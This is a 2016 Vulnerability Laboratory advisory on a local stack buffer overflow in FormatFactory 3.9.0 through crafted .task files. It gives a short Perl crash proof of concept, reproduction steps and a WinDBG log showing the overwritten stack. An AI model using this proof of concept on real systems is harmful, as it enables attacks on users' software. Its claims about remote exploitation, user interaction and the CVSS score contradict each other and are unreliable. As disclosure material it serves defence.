Document Title:
===============
FormatFactory 3.9.0 - (.task) Stack Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1935


Release Date:
=============
2016-09-01


Vulnerability Laboratory ID (VL-ID):
====================================
1935


Common Vulnerability Scoring System:
====================================
6.1


Product & Service Introduction:
===============================
FormatFactory is a type conversion software released as Freeware by Free Time only available on Windows. It can convert video files 
as well as audio and image files. It is also able to rip DVDs and CDs in other formats such as .iso image file. It can convert .flv 
files while many video conversion software does not support this feature.

(Copy of the Vendor Homepage: http://www.pcfreetime.com/)


Abstract Advisory Information:
==============================
An independent vulnerability laboratory research (ZwX) discovered a local stack buffer overflow vulnerability in the FormatFactory v3.9.0 software.


Vulnerability Disclosure Timeline:
==================================
2016-09-01:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local stack buffer overflow vulnerability has been discovered in the official FormatFactory v3.9.0 software.
The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers.

A wrong validation check while loading a file (.task) results in a classic stack overflow that crashs the program.
Remote attacker are finally able to overwrite for example the eip to control the vulnerable software process.
The file format request in the software engine has no restriction of inputs or memory, when processing to request 
local .task files to queue.

The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. 
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. 
Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system.

Vulnerable File(s):
[+] .task


Proof of Concept (PoC):
=======================
A local buffer overflow vulnerability can be exploited by local attackers without user interaction and with low privileged system user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Launch FormatFactoryr.exe
2. Run the code in perl and a file format (.task) will create
3. Click Spot - Task Load File
4. Click on Video and MP4
5. Click the button OK
6. Software crash permanently
7. Successfully reproduce of the local buffer overflow vulnerability!


PoC: Exploit Code (Perl) 
#!/usr/bin/perl
my $Buff = "x41" x 5000;
open(MYFILE,'>>FormatFactory.task');
print MYFILE $Buff;
close(MYFILE);
print "PoC by ZwX";


--- Debug Session Logs [WinDBG] ---
Stack buffer overflow - code c0000409
eax=00000001 ebx=00000001 ecx=00000005 edx=77ae13f0 esi=015a9a18 edi=00000111
eip=548e46a9 esp=015a9198 ebp=015a91b0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:Program FilesFormatFactoryMSVCR120.dll - MSVCR120!invoke_watson+0xe:
548e46a9 cd29            int     29h

EXCEPTION_RECORD:  ffffffff -- (.exr ffffffffffffffff)
ExceptionAddress: 548e46a9 (MSVCR120!invoke_watson+0x0000000e)
   ExceptionCode: c0000409 (Stack buffer overflow)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 00000005

FAULTING_THREAD:  00000890
BUGCHECK_STR:  STACK_OVERRUN
PROCESS_NAME:  FormatFactory.exe
FAULTING_MODULE: 77a50000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP:  524f7ce6
ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect  la saturation de la m moire tampon dans cette application. 
Cette saturation pourrait permettre   un utilisateur mal intentionn  de prendre le contr le de cette application.
DEFAULT_BUCKET_ID:  WRONG_SYMBOLS
LAST_CONTROL_TRANSFER:  from 548e467c to 548e46a9

ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
015a91b0 548e467c MSVCR120!invoke_watson+0xe
015a91d4 54873600 MSVCR120!invalid_parameter_noinfo+0xc
015a91f0 00e802ee MSVCR120!swprintf_s+0x17
015aa0b8 00410041 FormatFactory!boost::asio::io_service::service::fork_service+0x9a6e
015aa0bc 00410041 0x410041
015aa0c0 00410041 0x410041
015aa0c4 00410041 0x410041
015aa0c8 00410041 0x410041
015aa0cc 00410041 0x410041
015aa0d0 00410041 0x410041
015aa0d4 00410041 0x410041
015aa0d8 00410041 0x410041
015aa0dc 00410041 0x410041
015aa0e0 00410041 0x410041
015aa0e4 00410041 0x410041
015aa0e8 00410041 0x410041
015aa0ec 00410041 0x410041
015aa0f0 00410041 0x410041
015aa0f4 00410041 0x410041
015aa0f8 00410041 0x410041
0:000> d esi
015a9a18  00 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a28  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a38  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a48  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a58  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a68  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a78  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
015a9a88  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.


Security Risk:
==============
The security risk of the atack buffer overflow vulnerability in the software core of format factory is estimated as high. (CVSS 6.1)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com     - www.vuln-lab.com             - www.evolution-sec.com
Section:    magazine.vulnerability-lab.com   - vulnerability-lab.com/contact.php         - evolution-sec.com/contact
Social:      twitter.com/vuln_lab    - facebook.com/VulnerabilityLab         - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php       - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php   - vulnerability-lab.com/list-of-bug-bounty-programs.php   - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

            Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com